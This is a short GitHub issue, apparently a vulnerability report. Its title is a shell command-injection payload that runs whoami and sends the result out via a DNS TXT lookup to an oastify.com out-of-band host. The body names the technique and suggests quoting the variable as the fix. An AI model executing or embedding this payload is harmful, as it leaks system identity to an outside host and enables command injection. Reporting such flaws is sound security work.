Skip to content

$(dig TXT $(whoami).pyr4y7wwwntf3wm8n15tvjl4uv0tojc8.oastify.com +short) #522

Open
Open
$(dig TXT $(whoami).pyr4y7wwwntf3wm8n15tvjl4uv0tojc8.oastify.com +short)#522
@AdhyaksaCyber

Description

@AdhyaksaCyber
AdhyaksaCyber
opened on May 29, 2026

Stealth command injection via DNS TXT exfiltration.

Payload executes dig to exfiltrate whoami output via DNS TXT query.

Fix: Wrap variable in double quotes

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions